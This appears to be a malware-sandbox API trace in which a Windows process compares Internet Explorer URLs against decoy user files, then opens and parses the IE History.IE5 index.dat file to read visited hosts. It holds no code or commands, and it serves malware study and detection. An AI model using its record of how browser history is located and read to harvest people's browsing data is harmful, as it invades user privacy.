	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/3jeeh-g.odp") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/bltg0rl3nb.png") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/bje6sqpktej5ai.bmp") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/nrq59ukxj6dze-tfnqq.gif") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/znv%20lfhavonxumc%20fxu.odp") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/axlrt.csv") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif") returned 1
	[0099.005] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned 1
	[0099.005] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned 1
	[0099.005] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned 1
	[0099.005] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned 1
	[0099.005] _strlwr (in: _Str="http://go.microsoft.com/fwlink/" | out: _Str="http://go.microsoft.com/fwlink/") returned="http://go.microsoft.com/fwlink/"
	[0099.005] _strlwr (in: _Str="https://support.microsoft.com/en-us/products/internet-explorer" | out: _Str="https://support.microsoft.com/en-us/products/internet-explorer") returned="https://support.microsoft.com/en-us/products/internet-explorer"
	[0099.005] _strlwr (in: _Str="https://support.microsoft.com/products/internet-explorer" | out: _Str="https://support.microsoft.com/products/internet-explorer") returned="https://support.microsoft.com/products/internet-explorer"
	[0099.005] _strlwr (in: _Str="https://support.microsoft.com/en-us/products/internet-explorer" | out: _Str="https://support.microsoft.com/en-us/products/internet-explorer") returned="https://support.microsoft.com/en-us/products/internet-explorer"
	[0099.006] _strlwr (in: _Str="http://go.microsoft.com/fwlink/" | out: _Str="http://go.microsoft.com/fwlink/") returned="http://go.microsoft.com/fwlink/"
	[0099.006] _strlwr (in: _Str="http://www.msn.com/de-de/" | out: _Str="http://www.msn.com/de-de/") returned="http://www.msn.com/de-de/"
	[0099.006] _strlwr (in: _Str="http://www.msn.com/de-de/" | out: _Str="http://www.msn.com/de-de/") returned="http://www.msn.com/de-de/"
	[0099.006] _strlwr (in: _Str="http://www.google.de/" | out: _Str="http://www.google.de/") returned="http://www.google.de/"
	[0099.006] _strlwr (in: _Str="https://www.google.de/" | out: _Str="https://www.google.de/") returned="https://www.google.de/"
	[0099.007] _strlwr (in: _Str="http://google.com" | out: _Str="http://google.com") returned="http://google.com"
	[0099.007] _strlwr (in: _Str="https://www.google.de/" | out: _Str="https://www.google.de/") returned="https://www.google.de/"
	[0099.007] wcscat (in: _Dest=0x18959c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\"
	[0099.007] wcscat (in: _Dest=0x18959c, _Source="MSHist012017070320170710" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710"
	[0099.007] wcscat (in: _Dest=0x1886c8, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\"
	[0099.007] wcscat (in: _Dest=0x1886c8, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\*.*"
	[0099.007] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\*.*", lpFindFileData=0x188950 | out: lpFindFileData=0x188950) returned 0x612a48
	[0099.008] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned 0x62
	[0099.008] wcslen (_String=".") returned 0x1
	[0099.008] wcscpy (in: _Dest=0x188ba0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710"
	[0099.008] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned 0x62
	[0099.008] wcscat (in: _Dest=0x188ba0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\"
	[0099.008] wcscat (in: _Dest=0x188ba0, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\."
	[0099.008] wcscat (in: _Dest=0x188ba0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\"
	[0099.008] wcscat (in: _Dest=0x188ba0, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\.."
	[0099.008] wcscat (in: _Dest=0x188ba0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\"
	[0099.008] wcscat (in: _Dest=0x188ba0, _Source="index.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\index.dat"
	[0099.008] _wcsicmp (_String1="index.dat", _String2="index.dat") returned 0
	[0099.008] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017070320170710\\index.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc4
	[0099.009] SetFilePointer (in: hFile=0xc4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.009] ReadFile (in: hFile=0xc4, lpBuffer=0x188620, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x1822e8, lpOverlapped=0x0 | out: lpBuffer=0x188620*, lpNumberOfBytesRead=0x1822e8*=0x20, lpOverlapped=0x0) returned 1
	[0099.010] GetFileSize (in: hFile=0xc4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8000
	[0099.010] SetFilePointer (in: hFile=0xc4, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
	[0099.010] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.010] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0099.010] SetFilePointer (in: hFile=0xc4, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
	[0099.010] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1822c4, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c4*=0x100, lpOverlapped=0x0) returned 1
	[0099.010] _strlwr (in: _Str=":Host: www.msn.com" | out: _Str=":host: www.msn.com") returned=":host: www.msn.com"
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="http://google.com") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="https://www.google.de/") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="http://www.google.de/") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="http://www.msn.com/de-de/") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="https://support.microsoft.com/products/internet-explorer") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="http://go.microsoft.com/fwlink/") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="https://support.microsoft.com/internet-explorer") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="http://www.msn.com/") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2=":host: computer") returned 1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/ss%20braid%20po.doc.rtf") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/aan0pmcrlpyd.png") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/wnwzxyqa2welmzgrztt.ppt") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/h2izlu1ufor.xls") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/xi5-8zu1wzv%20kjhpve%20a.rtf") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/snskkcvvzd7w1.xls") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/tdmgt2fmeed.mkv") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/iw9e8gkbcyjwfy93oc.png") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/znz_9cyx.png") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/k_vzzfxu6ato.png") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/ikf8e692kmkh_fo6.png") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/o9ktbmmwodelsp.bmp") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/_dfs.jpg") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/p8yfgt4oxpbtzf0k_bpz.jpg") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ph_t9ive4a.gif") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/8y78ct0onkxjh0jaidth.docx") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/vbknuxifja8a3smzlj.bmp") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/0q4phtvdiubhgt70x.ods") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/rpro3yv6z7ezencrmh.jpg") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/needlus0azvsphmmw6z.xlsx") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/uunxjvmk-zjhqq%20a.gif") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/zbmp3oztns-_tzwszsj.pdf") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/eedyusbybk5jgafd.flv") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/kl3rercief.odp") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/je6xvdagr_wm.flv") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/okbralkx9o.pptx") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/x6cwkno2g1u-.xlsx") returned -1
	[0099.011] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/e2st1_q0mhblry-5f2.gif") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/5d7qoxsxvlhy.odp") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/vwht_oecylulo.bmp") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/dmm6.mkv") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/ighw.mkv") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/l8qtuzam4hc6.ots") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/o-q7.xlsx") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/yfknamid8j.ods") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/j1-w3a.ods") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/mpr9wwdigysqmpdjpd.xlsx") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/gnrduar4_ge-lius2.pps") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ujwjx0nxvajjtxf3pr.png") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/saqsfltop.bmp") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/44x%20n0sokdl7to.gif") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/yst3fikdfbu4ruukpdcy.png") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/uf98.ots") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/gmdngx.bmp") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/jnuhgew-b.ppt") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/mrbf4z2smxpy-qp.csv") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/sgtctm%20w5i4m4k-tq7vz.docx") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/8dmsvpxvfk8q_a4.odt") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/wvjceeg87kzqwdb.docx") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/es1ciiab1yf_z54n9_qd.gif") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/qop3.odp") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/dtttxqgtwjzoirag3-ir.flv") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/qfgi.mkv") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/uvb6xg44bvjnt-xow9.png") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/elmetgyx2ieiheffa-b.png") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/ds1l.odp") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/t17l6ppjuvfp6jo.png") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/3nniqn2uay.csv") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/za%20xnopijc5-tgt.gif") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/d2axj7lt.csv") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/u0uefh3x.jpg") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/-nmv1nzcfxfh4c_s.pptx") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/p70gthzxsp7.xlsx") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/6xhe6hfrnc81xta9n.gif") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/afmgc.gif") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/1ls8ldxhvkfwb26kk79.pptx") returned -1
